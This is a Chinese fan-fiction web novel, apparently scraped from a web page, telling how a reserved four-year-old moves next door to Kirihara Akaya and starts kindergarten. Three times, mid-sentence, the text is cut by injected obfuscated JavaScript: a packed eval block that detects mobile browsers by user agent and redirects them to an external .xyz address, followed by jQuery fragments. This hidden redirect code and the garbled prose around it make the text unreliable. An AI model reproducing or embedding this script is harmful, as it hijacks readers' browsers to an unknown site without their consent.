《给立海大一点口口甜心的小震撼!》 1. 樱花海苔初会面! #晋江文学独家# 2025.5.5 飞鸟绛很不高兴! 非常、不高兴! 一想到即将要面对陌生的家,陌生的床,一觉醒来还要面对陌生的学校和同学,飞鸟绛就忍不住情绪低落! “阿绛——该出发了哦!” 飞鸟绛推开空荡的衣柜,爬进去,蹲下,用毛茸茸兔耳朵帽子捂住耳朵,假装自己是听不懂人类语言的垂耳兔。 只要不搬家,就不用换学校了对吧? “阿绛……阿绛……” 妈妈踩着楼梯上来,推开门。飞鸟绛从狭窄横窗里看到妈妈从门后找到窗帘后,还弯腰看了床底,最终停留在衣柜前。 妈妈装作自己找了许久,才推开衣柜的门,惊喜道:“哇!原来阿绛在这里!” 每次生气、闹别扭,都会躲在衣柜。三头身的小人窝成小小的一团,趴在膝盖上,挤出一点肥嘟嘟的脸蛋,还有粉嫩嫩的头发丝,搭配上白粉色兔耳朵帽子——简直!! 妈妈心想:能发明这么一个粉白粉白的小团子,我真是个造福全世界的天才! 飞鸟绛露出一只眼睛,自下而上地望着妈妈,露出一点倔强:“我不要搬家!” “诶?”妈妈蹲下来,争取视线和飞鸟绛齐平,“可是如果阿绛搬走的话……” 妈妈附在飞鸟绛耳边,轻轻说了几句话。 飞鸟绛听着,眼睛越来越亮,看得出听到的内容对幼崽的吸引力堪比花蜜之于蜜蜂。但是嘴巴还是瘪着,嘴角下弯,做出一副很不好惹的样子来,不情不愿道:“那好吧。” 妈妈伸出手,“那,阿绛?” 飞鸟绛将短短小手搭上去,语气依旧是不情不愿:“但是妈妈,以后不可以临时通知……” 妈妈受不了了,一把举起飞鸟绛,在头顶上晃了晃,拿下来抱紧,贴着软嫩嫩的脸蛋摩擦:“我们阿绛也太可爱了!以后妈妈做决定一定征求这么可爱的阿绛的意愿!” 飞鸟绛七荤八素,用力推妈妈的肩膀,保护自己的脸蛋:“不要!” 小猫猫的挣扎根本没有任何威胁,妈妈吸了个爽,最后离开前看了一眼房间。 这是飞鸟绛自己的房间,四岁幼崽相当独立,会自己踮起脚收纳衣服,所有玩具摆的整整齐齐,睡的碎花小被子虽然叠的不平整,但每天都会叠。 实木书桌上有一些刻刀划过的痕迹,飞鸟绛曾经趴在上面做手工作业,那个纸板苔藓小房子最终获得了班级里的优秀作品。 空荡的地面上,木砖边缘模糊陈旧,曾经有一块可爱的地毯铺在上面,飞鸟绛坐在上面堆积木,会仰着头张开手,面对进来的妈妈要抱抱。 窗边没有一丝尘土,那里曾经放着一排小花,飞鸟绛写过植物观察日记,养的玫瑰不小心夭折,飞鸟绘理带着小铲子和哭唧唧的飞鸟绛一起,选了路边开的最好看的小雏菊栽种进去,悉心呵护…… …… 记忆的密码锁没有用,每一个角落都是撬锁的好手,轻而易举将人带回温暖又美好的过去。 飞鸟绘理吸吸鼻子,稍冷的空气将有些模糊的视线变得清明。 回忆都是被创造出来的。 停留在原地,止步不前,不是飞鸟的秉性。 飞鸟绘理抱着飞鸟绛下楼梯,才下了几个台阶,怀里的幼崽就拍拍妈妈的后背,在耳边软乎乎地说:“妈妈我要自己走。” 飞鸟绘理抱紧了幼崽:“可是妈妈还想亲亲阿绛啊!” 说着,贴到幼崽软弹的脸蛋上,开始新一轮的蹭蹭蹭! 飞鸟绛无力地挥舞着双手:“妈妈,把冷冷的口水蹭到我脸上啦!” 幼崽的声音唤醒了更加神圣浓厚的母爱! 飞鸟绛刚被哄好,又生气了。 小小一个按住通红的脸颊,在货车座椅上团成一团。 发誓半天之内都不会理妈妈! 怎么能这样对待一个成熟的小朋友呢?被亲得一点尊严都没有了! 载着飞鸟一家行李的小货车嘟嘟两声启动,穿着温婉淑女的妈妈将头发撩到后面,不符合形象地踩了一脚油门。整个小货车连带着满满当当的行李,和一团飞鸟绛,都不由自主地抖了抖。 “飞鸟桑,要去新家了吗?” “是啊!以后还会回来看望大家的!” “一路顺风啊!” 风将祝福声传来,小货车迎着阳光,前往他们的新家。 立海大县、横滨市。 路途遥远,飞鸟绛打到第三个哈欠的时候,妈妈不知道从哪里掏出来了一个绿色碎花小枕头,一边目不转睛地看着路况,一边将枕头递给飞鸟绛。 “阿绛,睡一会吧!” 飞鸟绛抱着绿色小枕头,下巴陷在软软的棉花里,摇了摇头。 不要睡觉。 妈妈一个人开车的话,会很孤单吧。 虽然妈妈刚才的行为很过分…… 飞鸟绛嘟了嘟嘴。 不一会,旁边就传来了一阵轻轻的鼾声,飞鸟绛睡着了,怀里的绿色小枕头长了腿一样跑到脑袋下面。 妈妈笑了笑,疲惫被不知名的魔法轻轻一呼,全部消散在空气中,被阳光融化了,湿淋淋落到地上。小货车卖力地行驶在田间小路上,越过一根又一根笔挺直立的电线杆,将它们抛在遥远的身后。 工作变动十分紧急,飞鸟绘理不愿意放弃掉晋升的机会,只能带着飞鸟绛匆忙搬到新家。好在即使是在这么短的时间内,飞鸟绘理还是找到了各方面都很满意的房子。 隔一条街就是海,空气湿润又清新,在来的路上,飞鸟绘理已经呼吸到了新生活给她们的第一份欢迎礼物。 拐弯前看得到一批尖尖的红色的小楼,最高的那栋楼挂着钟表,每隔一小时都会向周围发出庄严又古老的声音。那是飞鸟绛即将要去的学校。 除了距离公司有点远,无论哪里都很完美,所以通勤时间这点小缺点完全可以忽略不计了! 只需要付出一点点早起的时间,对单亲妈妈来说是最小最小的代价。 小货车开进街道,引来许多邻居的注意。 “那栋房子,要搬来新租户了吗?” “是那个房子吗?” 小货车贴墙停下来,果然停在了那栋房子的门口。 粉团子还趴在绿色小碎花枕头上睡得香呼呼,飞鸟绘理隔空揉了揉团子头发。 飞鸟绘理打开车门,从车上跳下来时,新邻居们的议论声有几秒钟的缩小,又哗然增大。 “是个美人啊。” “竟然住进那种房子里,真可惜。” 接着看着飞鸟绘理像超人一样,一个人忙忙碌碌地在货车车厢和家门口折返,木箱被整齐地摞在庭院中。 邻居们: “啊呀,只有一个人在搬上搬下呢!” “这也太辛苦了吧。” “——贤平!” 看热闹的太太们很快将各自的老公或者儿子喊过来帮忙。 飞鸟绘理:“这怎么好意思呢,大家都太热情了!” 邻居太太:“来了就是一家人了,以后常常来往就好了嘛!我是切原绘理!” 飞鸟绘理惊讶道:“我也是绘理,飞鸟绘理!好巧妙的缘分。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546733|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >切原绘理笑眯眯的点头:“是这样,是这样,竟然把两个绘理安排到同一条街住了呢!” 飞鸟绛听着外面一直在“绘绘理理”,睫毛颤了颤,迷糊地睁开眼睛,趴在窗边看过去。 “绘理”,妈妈对面那个短头发的很酷的姨姨,也叫绘理吗? 切原绘理正热情地帮忙拆箱子,一起身,就看到货车副驾驶的窗玻璃位置缓缓升起一个粉红色毛茸茸的脑袋,接着,一颗甜心脸蛋搭在半开的玻璃上,脸颊上还有两道压出来的浅红痕迹。 切原绘理差点没含住嘴里的惊呼。 这是什么! 刚睡醒的迷糊幼崽! 切原绘理:“而且是粉色的。” 飞鸟绘理:“诶?” 切原绘理一把握住飞鸟绘理,像是握住了自己的理想一样真挚,感情充沛道:“绘理桑,我们交换吧!” 把手里的海苔团子换出去,把别人的樱花团子拐回家! 飞鸟绘理:“诶诶诶?” 樱花团子拽开把手,蹬开车门,手脚并用地爬下去,噔噔噔跑来仰着头:“妈妈,我来帮你。” 飞鸟绘理被为难住。搬家的家具都大,这里哪怕最小的箱子都比飞鸟绛个头要高,但是阿绛都用这样的眼神仰头看她想要帮忙了……怎么能拒绝孩子的真诚呢!飞鸟绘理左顾右盼,终于看到了装绿植的架子。 水仙、吊兰,还有多肉! 飞鸟绘理将小小的粉色多肉拜托给飞鸟绛,“阿绛可以帮忙把这个多肉送到邻居切原家嘛?” 飞鸟绛站直身体,抱住粉色小莲花 ,正色道:“好的!” 切原绘理:“姨姨家就在隔壁,墙上画了超人的那家哦!” 飞鸟绛乖乖道:“噢。”然后哒哒哒地跑出庭院。 超人……超人…… 飞鸟绛沿着墙面走,看到那幅画的时候,脚步慢慢顿下来,看得出相当犹疑。 白色的墙面上铺了一面乱糟糟的黑蓝红线条,依稀可以看出是幅正经涂鸦的模样,但如果不是有“超人”的提示,飞鸟绛大概只能从里面看出牛蛙形状。 这真的是……超人吗? 还是说随随便便什么东西都可以命名为超人? 飞鸟绛仅四周岁的眼睛和理智均受到不同程度的冲击。 “喂!” 耳后突然炸起一道声音,宛若一道惊雷,劈在飞鸟绛脆弱的鼓膜和神经上。 肩膀、呆毛,还有手里的粉色多肉通通抖了两下,十根手指紧紧扣在多肉罐罐上,指尖用力到泛白,飞鸟绛转身如临大敌地盯着突然冒出来的人。 黑色卷发幼崽完全没意识到自己突然出现吓到了别人,“啊”了一声,登登后退两步,眼睛亮亮的,指着他:“好厉害,刚才边缘模糊了!” 像电视里演的一样。 妈妈还骗他,那种效果都是用其他手段假装出来的。 可是这里明明就有人可以做到嘛! 飞鸟绛:…… 这家伙在自顾自说什么呢……我是被你这家伙吓到边缘模糊了啊。 飞鸟绛聚起一点不满意:“你……” 黑发幼崽依旧非常激动,想起飞鸟绛仰头虔诚地欣赏墙面画作,上前一步:“你也觉得这个超人画的相当完美对吧?!” 飞鸟绛:“并……”没有! 黑发幼崽又凑上前一步,西子捧心一样:“并且感受到了激荡的创作热情对吧?!!” 飞鸟绛:“我……” 黑发幼崽整张脸都凑到了飞鸟绛面前,激动得脸颊粉红,捧起飞鸟绛的手,热泪盈眶: “知己!” 2. 到底是谁酷毙火辣了啊?! 飞鸟绛受不了了。 太近了! 他甚至能感受到面前幼崽运动后身上冒出的热腾腾的气息。 好恐怖…… “啪!” 随着清脆的声响,一道手掌击上黑发幼崽额头,强行将人推离出去,飞鸟绛击退危险物品,皱眉抿唇:“在这里说话,就可以了。” 他补充道:“我听得清。 ” 黑发幼崽没有感受到冷落,依旧兴致勃勃:“叫我赤也吧,你叫什么呢,知己?” 像一盏炙热、明亮的太阳灯。 飞鸟绛讨厌过分热情的人,讨厌自来熟的人,讨厌不是飞鸟绘理的人。 一时间不知道该说什么好。 不要离我太近。 不要叫我知己。 不要问我的名字。 不要跟我说话! 飞鸟绛微微低下头,发帘遮住了粉金色的眼瞳,显得有些阴翳。 黑发幼崽满心期待地看着他的新朋友,新朋友抿着唇跟他对视三秒钟后,“哼”了一声,转头。 真挚的心啪嗒碎掉了。 黑发幼崽原地张大嘴巴,失落地看着飞鸟绛转身离开。接着,飞鸟绛走了两步,站在他家铭牌下仰头看,拐进他家门口。 拐进他家门口?! “打扰了,请问有人吗?”门开着,飞鸟绛试探性地踏进去,大声道,“我是来帮绘理送多肉的。” 黑发幼崽眼睛唰得又亮起来。 “有人!绘理?你认识我妈妈吗?你是来我家玩的吗?我有超级多玩具的!你喜欢打游戏吗?还是说……” 飞鸟绛没等到屋子里的人回应,只有身后喋喋不休阴魂不散画技很差莫名其妙的黑发幼崽追了上来。 “赤也……”飞鸟绛回忆那个词的发音,眼里满是不可置信:“是切原、赤也?” 这个聒噪的小鬼,就是他的新邻居?? “嗯啊嗯啊!”黑发幼崽竖起大拇指指向自己:“传说中的切原赤也大人就是我!” 传说中? 飞鸟绛后退两步,再次远离过分热情的画技很差的人。 “没有听说过有这种人。” 指着自己闪闪发光的切原赤也瞬间黯淡,石化。 小幼崽的自信就像落叶,风一吹就散了。 飞鸟绛将生机勃勃的多肉塞进硬邦邦的切原赤也怀中,迫不及待地跑走了。 新家的一切都是陌生的,邻居切原家,还有这个热气腾腾的小孩。如果不是飞鸟绘理需要帮助的话,他是不会自告奋勇的。 切原赤也决定讨厌这个新来的邻居。 而飞鸟绛、完全没有意识到这件事。 某个小崽蹲守家门口那个抽象的超人下面,在飞鸟绛抱着草莓牛奶路过的时候,十分不屑(自认为)地转头冷哼一声。 没有获得半点眼神。 切原赤也僵住,一顿一顿咔嚓咔嚓拧着脖子,看飞鸟绛更加冷漠的背影。 小幼崽,破大防! 被注视着的飞鸟绛努力和草莓牛奶做斗争,往往很容易插进去的吸管,今天莫名不顺利,连续几次吸管都折了过去,他干脆一用力,牛奶受到挤压,噗得爆出一个小口。 喝到了! 飞鸟绛满足地加快脚步。 至于刚才路过的身影,身后乱七八糟的脚步声、咣当的摔门声,和气急败坏的跺脚声,在草莓牛奶面前没有丝毫的竞争力。 草莓牛奶,好喜欢……飞鸟绛一边幸福得眯眼,一边踏入家门。 飞鸟绘理在门前,将发生的一切收入眼底。 “阿绛,隔壁的赤也好像很想和你做朋友呢?” “噢。” 小孩子之间的社交,在大人面前像透明的水晶球,任何小情绪都一览无余。刚才切原赤也可是眼巴巴地瞅着飞鸟绛即将过来了,才摆出早就练习好的姿势装腔作势呢。 可惜遇见了她家的冷脸小猫。 飞鸟绘理有些担心,又有些感慨:“我们阿绛总是自己孤伶伶一个人啊,是来到新环境不适应吗?” 飞鸟绛脑袋指挥着手说不要喝奶了现在要好好答话,嘴巴牙齿却还依依不舍地咬着奶盒,费了一番力气才将草莓牛奶从嘴巴里拽下来,认真道:“妈妈想要我和他交朋友吗?如果是妈妈的要求,那我可以试一下。” 但是不一定成功……不,是一定不会成功吧!那家伙热腾腾的,又很自大。 ”不哦,”飞鸟绘理摇摇头,抱住飞鸟绛,柔软温暖的怀抱让飞鸟绛感到依赖,是比草莓牛奶还要甜一百倍的怀抱。 “妈妈只是想让阿绛开心。” 不开心的人有且仅有隔壁热腾腾又很自大的小鬼。 飞鸟绛是个冷漠坚硬的人。 切原赤也这样下了结论。 一直到幼稚园开学,切原赤也都没能在“攻略飞鸟绛”这件事上取得任何成果。 切原绘理一边说着“这次开学名额竞争特别激烈,妈妈蹲守了一夜才帮赤也抢到了入学名额,别家的不聪明的宝宝想去都去不了”,一边给切原赤也挂上蓝色小象的卡通水杯,半威胁半叮嘱:“下午放课前要把杯子里的水喝光哦。” 切原赤也:“真的吗?可是很多同学看起来也很笨啊!”他们是用什么手段进入到这么聪明的幼稚园的? 隔壁的房子。 飞鸟绛将同款的鹅黄色小象杯子背在身后,把装着便当盒和零食的书包背在胸前,一本正经,故作严肃,自立的像个小大人:“妈妈我走了噢。” 飞鸟绘理看透一切:“阿绛,校车还有十分钟才会来。” “噢……”小大人一秒破功,脸蛋皱起来。 飞鸟绛知道自己逃不过,只能垫脚拿起餐桌上还剩下半杯的纯牛奶,皱着眉毛捏着鼻子,不情不愿地抿了一小口。 果然牛奶这种东西,只有和草莓搭配才是好文明。纯牛奶什么的最讨厌了。 草莓就是救世主吧,这个世界离了草莓还怎么转! 飞鸟绛小口抿了漫长的五分钟,飞鸟绘理就这样笑眯眯地看了五分钟,不给一点作弊的机会。 某些不爱喝纯奶的小幼崽,不会将牛奶倒进盆栽嚯嚯植物,但擅长利用马桶、蓄水池,还懂得冲水消灭罪迹。必须要一直盯着才行。 但是不会撒谎。 只要问了,就会垂着眼睫不说话。再问,就僵着脸,乖乖承认犯错,然后软乎乎地抱着人道歉。 她家小孩简直是世界上最甜最甜的一块草莓冰淇淋小蛋糕,又甜又冷又乖又软…… 飞鸟理绘想着想着,心脏像蜂蜜融化了一样,看看手表:“今天喝了半杯多,已经很棒了!妈妈带阿绛出去等校车。” 解脱了! 飞鸟绛如释重负,飞快将牛奶放回去。 庭院外的道路上没怎么有人,阳光暖融融的,均匀地撒在地面上,有一些恰到好处的微风,带着海水的咸湿气息,令人心旷神怡。 飞鸟绛偷偷往隔壁的切原宅门口看了一眼。 空荡荡的。那扇门也很安静,没有要突然打开并从里面窜出一个小鬼的意思。 飞鸟绛放下心来,上了校车。 接引的清水老师是前几天办理入学时见过的,栗色长发,长相和声音都很温柔。 “飞鸟同学,早上好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546734|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “早上好。” 清水老师:“飞鸟同学想要坐在哪里呢?车上位置还有很多哦。” 飞鸟绛背着书包,径直向车后排而去。 以清水老师的视角,站起身后只能看见飞鸟绛头顶戴的黄色小圆帽,以及下端露出的一点点粉色发丝。 是个很“高冷”的小朋友呢。清水老师心想。但是会说早上好,也是懂礼貌的小孩。最重要的是,很卡瓦啊!!清水老师做老师就是为了吸可爱幼崽!! 没有可爱幼崽,幼教这个行业的前途将是一片灰暗。 从车门到后排的小段路,车上零星几个孩子都探着头好奇地盯着,飞鸟绛揪着书包肩带,将这些视线无视掉,按照飞鸟理绘的叮嘱,坐在不会被阳光晒到的右侧靠窗。 几个早已经熟识小朋友都坐在一片区域,目送着飞鸟绛坐下后,转过身小声地开始讨论。 “是叫飞鸟吧,好酷!” “粉色头发,像日奈森大人一样,新同学也是‘酷毙火辣’的类型吗?” “喂喂,你不要看太多动画片啦!怎么可能会有人像日奈森大人一样酷毙火辣!” “你还不是也在看!承认日奈森大人是世界第一很难吗!” 飞鸟绛:“……” 人不火辣,但被帽子遮住的脸逐渐火辣。 拜托,如果是悄悄讨论,麻烦再小声一点吧! 到底是谁酷毙火辣了啊?! 校车上播放着俏皮悦耳的钢琴曲,音乐中夹杂着清脆的鸟啼和流水涧涧声。飞鸟绛将注意力集中在这里,脸上的潮红逐渐褪下去,大脑总算恢复思考。 ……为什么还不开车。 司机在悠然地喝水,校车门敞着,清水老师站在前门……清水老师下车了……清水老师走向了切原宅…… 一股不好的预感降临在飞鸟绛心头。 “哐当!” 那扇安静本分的门被踹开。 巨响给了飞鸟绛心头一个重击。 一股黑色旋风从踹开的切原宅庭院门里狂卷出来,路过清水老师,速度没有丝毫停留,狂野地旋上校车,才终于气喘吁吁地停下。 赫然是切原赤也! 不好的预感,降临了! 飞鸟绛提起的心脏略微死去,保持着扑克脸,镇定地看向窗外。 切原赤也站住以后,本来想去自己惯常坐的位置,也就是人员聚集的地方。走了两步就发现一个熟悉的侧脸。 那个嚣张的冷漠的粉头发,别说是戴上小黄帽遮住,就算化成灰,切原赤也也能一眼认出来。 之前,飞鸟绛也是这幅冷冷的,仿佛什么都不为所动的样子,但…… 切原赤也看了看车内大家位置的格局。 十几个人里,只有飞鸟绛一个人孤零零地坐在另一侧,远离大家的位置。更遑论与大家互相交流了。 原来这家伙对谁都这样啊。 切原赤也心底平衡了。 破碎的自信建立起来,昂首挺胸地迈着步伐,坐到飞鸟绛身后。 清水老师与追出来的切原绘理聊了几句才上车,与司机示意后,校车正式启动了。 车辆拐出飞鸟绛熟悉一些的街道,路过体育公园,便利店,向着那栋有红色尖角和大摆钟的小楼驶去。 飞鸟绛感受到直射向他后脑勺的一股炙热视线,仿佛要把他的脑袋钻出一个洞。 只可能是切原赤也。 窗边晃晃悠悠向后倒的风景变得模糊,飞鸟绛闭上眼握了握拳,深深呼出一口气,克制住自己转身质问的冲动。 质问的话,万一忍不住动手就坏了。 3. 没有人超越赤也大人! 幼稚园的课业不会很繁重,飞鸟绛对这些东西适应良好。每次飞鸟理绘问起,飞鸟绛都是“很好、很顺利”的回答。 直到清水老师忧心忡忡的电话打过来。 飞鸟绛入学时是很受欢迎的。 粉色头发,还有姣好可爱的像天使一样的脸,小孩子天生爱长得好看的生物,又带着不谙世事的勇敢。 许多同学在第一天就向飞鸟绛发起了友好的交友申请。 手工课上,飞鸟绛盯着老师发下来的材料,思考可以做出什么动物来。 小猫小狗?太普通了。兔子的话,白色黏土的数量又不够。做小动物为什么会发这么多蓝色黏土呢?嗯,可以做鲸鱼……大象…… “阿诺……” 一道声音打破飞鸟绛的思考。 抬头,入目是一个脑袋很圆的短发男生,不说话时,也能隐隐看到两颗门牙。 男生脸有点红,手掌撑在飞鸟绛桌面上,“飞鸟同学,可以来我们小组吗?” 手工课还没有小组的,但同学之间可以交换、借材料,算是锻炼社交能力的一种方式。 有人主动带新同学玩,清水老师欣慰地笑了笑,下一秒,笑容僵在脸上。 飞鸟绛看了圆脑袋同学一眼,垂下眼睛:“我的材料足够了。” 圆脑袋同学嘴唇颤抖几下,两颗大大的门牙几次亮相,最终握着拳头跑走了。 飞鸟绛拨弄了一下粘土袋子,心想:“黄褐色也很多,土拨鼠也很可爱,做土拨鼠吧。” 被圆脑袋的土拨鼠同学听到后,恐怕要抹着眼泪逃跑。 清水老师:“……” 挺好的,虽然拒绝了……说明飞鸟同学是个比较自立的小朋友。做老师嘛,就是要善于发现学生的优点。 飞鸟绛拆开袋子,揉粘土,将它们分成合适的大小,搓搓滚滚,将他们揉成想要的形状。 一道阴影覆盖了手中的黏土,飞鸟绛再次抬头。 是另外一个同学,扎着双马尾的女生,手指勾着手指,有些怯懦,鼓起勇气道。 “飞鸟同学……” 飞鸟绛仰头,面无表情地盯。 等了半天,女生也没说出个所以然。 飞鸟绛:“有什么事?” 麻花辫女生抖了一下,突然后退一步,鞠躬,闭眼大声道:“对不起打扰了!” 抹着眼睛跑走了…… 莫名其妙。 我这里是什么观光景点吗? 飞鸟绛揉粘土的动作不停。 清水老师叉腰叹气:“啊……” 又失败了。 直接融入不太适应啊,那还是要采取传统一点的方式。 切原赤也暗中观察,悄悄窃喜。 “好的。目前没有人超越赤也大人!” 在和飞鸟绛相处这条赛道上,赤也大人暂时获得领先地位!他笃定,这个班级里,飞鸟绛只记得他一个人的名字! “大家都已经超过你了,切原同学!” 身边的同学用手肘怼了怼他,大声回应他之前的话。 “你连黏土袋子都还没有打开诶!这样下去做不完吧!” 他顺着切原赤也的视线看过去,疑惑又好奇地问:“你为什么总是盯着新同学看啊?” “说起来,新同学真的很帅气呢,也不是,就是很会冷面拒绝人……哦哦是那个词,是高冷!是高冷没错吧!” 同组的另一个女生捂着脸颊,小声惊呼了一下:“啊,我想起来了!” 小组内大家的注意力都被她吸引过去。 “飞鸟同学和切原同学是邻居吧,当时是一前一后上的校车来着!而且也一前一后地坐在了一起!绝对是认识吧!” 女生激动地向大家描述:“就是大家都坐在一边,但是飞鸟同学坐在另一边,身边只有切原同学一个人噢!一个人!” “哇——” “好厉害!” 大家发出长短不一的感叹,不知道为什么,但向切原赤也投去羡慕的目光。 沐浴在这种热烈的目光中,切原赤也不安地动了动手指,但…… 好爽! 做飞鸟绛的邻居有什么值得羡慕的吗? 切原赤也微微昂头,得意:好吧,确实有一点点厉害! 毕竟只有赤也大人我一个人敢坐在他后面诶! 对面坐着的男生用真挚的眼光捧着切原赤也,期待道:“那……切原同学和飞鸟同学一定关系很好吧!” ! 谁跟谁关系很好? 他和飞鸟绛吗? 切原赤也仿佛被定身,自己动弹不得,但能听到身边人的对话。 “对呀对呀!” “住的那么近一定是好朋友啦!” “我和邻居家的姐姐关系也超——棒的!” 不。 到目前为止,唯一的对话就是,那个粉毛白面的家伙当面戳破他的自信泡泡。 —— “传说中的切原大人就是我!” ——“没有听过这种传说。” 可恶啊。 除此以外,赤也大人制造的无数次偶遇都被那家伙如同呼吸一样自然又顺利地避开了!就像走路时本能地避开下水道和井盖一样! 没有给赤也大人、半个、眼神! 挫败像一团阴沉沉的乌云,笼罩在切原赤也的发顶。但同学们的目光又仿佛清风,将密布乌云吹散。 崇拜的羡慕的眼神将切原赤也吹上柔软的云端,旋转,升高,旋转…… “所以!切原同学去邀请飞鸟同学来我们组吧!” 轰隆! 乌云不会被驱散,只会暗搓搓酝酿惊雷,伺时出击,轰得切原赤也结结巴巴。 “不……不了吧……” “我们小组已经很多人了……再多就坐不开了……” 白皮肤的黑发幼崽是很好的上色材料,半句话的功夫,从脸颊到耳垂脖颈都粉红一片。 好在小朋友们都处在很好忽悠的年龄,即使切原赤也的伪装演技拙劣,也没有被看出来。 “切原同学,可以说说飞鸟同学是个怎么样的人吗?面对他总是觉得很难接触……” “是啊是啊,还没有搭话就感觉会被拒绝了,但完全没办法抵抗啊!” “对切原同学来说就很容易把,毕竟切原同学看起来超——擅长交朋友的!” “切原同学……说说嘛说说嘛……不要那么小气!” 切原赤也:“……” 他在大家的注视下,清了清嗓子,故作高深一本正经:“如果好奇的话,自己去亲自接触,比在别人的话里了解会更有意义吧。” “哇。” “说的也是。” 切原赤也攥了攥胸口的衣服,感觉跳跳糖一样滋儿哇乱蹦的心脏终于落回胸腔中。 差一点,切原大人的形象就保不住了! 这简直是切原大人往前数四年,说出的最有哲理的一句话! 几乎每个小组都派出了组里最可爱、最受欢迎的幼崽去邀请飞鸟绛,仿佛把获得新同学青睐当成了手工课的额外作业,在暗处悄悄较劲。 切原赤也继续暗中观察,确信飞鸟绛拒绝了所有人,吁了一口气。 守擂成功! 白嫩的手指揪了两团深色两团浅色,揉成薄薄的樱花馅三角海苔饭团,分别安在脑袋两侧,土拨鼠的耳朵就做好了。 飞鸟绛最后还是选择做土拨鼠。 希望那位很像土拨鼠的圆脑袋同学不要介怀。 剩下什么呢? 飞鸟绛托着腮,端详土拨鼠(未完成版)。 眼睛,要怎么办? 没有黑色粘土。 幼稚园的年龄都更喜欢鲜艳的颜色,红黄蓝绿都是被争抢抢夺的颜色。因此蓝色的小猫,红色的小狗,成为最经常出现的作业。 反而黑色白色不太受欢迎。 清水老师采购的时候,就将更多的预算放到五彩缤纷的颜色上。 这导致,整个课上只有一组幸运地掉落了珍惜材料、黑色粘土! 此时,这款稀缺材料明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15546735|171166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珠蒙尘,被撇到桌子最中央,手短短腿短短的幼崽想要拿到它,得翘着腿,半个身子都爬到桌子上才行。 这个组……恰好,是切原赤也所在的组。 飞鸟绛思考了几秒钟。 要去问问吗? 手工课的作品被收上去,优秀的作品会被展示到门厅、走廊上,被来来往往的人欣赏。 一只土拨鼠就在那里坐得板板正正。 眼睛是飞鸟绛用炭笔涂黑的粘土,中间还站了三颗白色小小小圆球做眼睛的高光。是老家东京的老师教过的技巧。 土拨鼠抱着手,看起来炯炯有神。 小黑板最末端添加了飞鸟绛的名字,清水老师在后面的留白中,画上第一颗,代表奖励的圆滚滚的黄色网球。 至于为什么是网球…… “相信在上一节课时,大家已经发现了我们小网球班的一位新同学——飞鸟绛,飞鸟同学!” 为了培养小孩从小对运动的兴趣,新的幼稚园以各种球类运动命名班级,清水老师负责的班级就叫“小网球班”。 飞鸟绛在大家的鼓掌声中和清水老师对上视线。一秒、两秒、清水老师不得不开口:“飞鸟同学,不上来和大家打个招呼吗?” 飞鸟绛眨眨眼:“没有必要。” 大家都已经知道他的名字了不是吗? “哇……好酷!” “比隔壁的龟崎还有范儿啊!” “喂喂,龟崎哪里有范了!” “龟崎同学长得很有硬汉气概啊。” “你从哪里听到的硬汉气概这个词,明明就是丑嘛!” “而且性格很讨人厌!” 从提到龟崎开始,讨论话题完全偏掉了。 切原赤也露出拒绝表情:“龟崎那家伙哪方面能和新同学放在一起比啊?不要提他了!” 清水老师又和飞鸟绛尴尬对视了两秒,只好:“哈哈,飞鸟同学是很有个性的同学呢。既然大家也已经认识了飞鸟同学,以后要好好相处哦。” 下课,清水老师靠着墙咸鱼似的摊下去五公分,仰天花板长叹。 好难。 做老师好难。 有关飞鸟绛的传言几天就传遍了整个幼稚园。 “像偶像小说一样,酷酷地对老师说‘没有必要’,做了我想做但不敢做的事呜呜。” “你想做只是因为那样很酷,但飞鸟sama是真的酷!” 切原赤也偶然路过,听到“飞鸟sama”时大跌眼镜,差点平地摔。 这才几天?! 飞鸟绛竟然这么受欢迎?就凭借那个老土偶像剧里的拒绝自我介绍情节吗?? “飞鸟同学确实很受欢迎……”清水老师在电话里犹豫着。 自飞鸟绛转学以来,老师打的第一个电话,飞鸟理绘十分郑重地放下工作。 经过几句话的铺垫,飞鸟理绘意识清水老师似乎有言外之意,试探道:“但是?” 清水老师:“但是,性格会不会有点太内向了?这几天做活动、吃饭,都是自己一个人,不愿意交朋友呢。” 飞鸟绘理知道严重性:“清水老师,能麻烦您告诉我一下详细情况吗?” “冷酷、神秘,独来独往,不可捉摸的寒风。” “阴郁、孤独,沉默寡言,灵魂残缺的幼兽。” 是谁在念……诗? 好怪的词。 飞鸟绛脚步一顿,疑惑地转头去看。 三五成群的同学围过来,念诗的那位,顶着灰色短圆寸,比起同龄人身材显得尤为高大。走近后,他用轻佻和有些凶的眼神打量飞鸟绛: “你就是飞鸟?” 飞鸟绛抬眼看她。 “她们说你小时候家庭残缺,受过难以言说的痛苦和折磨,才造就这样冷酷沉默的性格……是吗?” 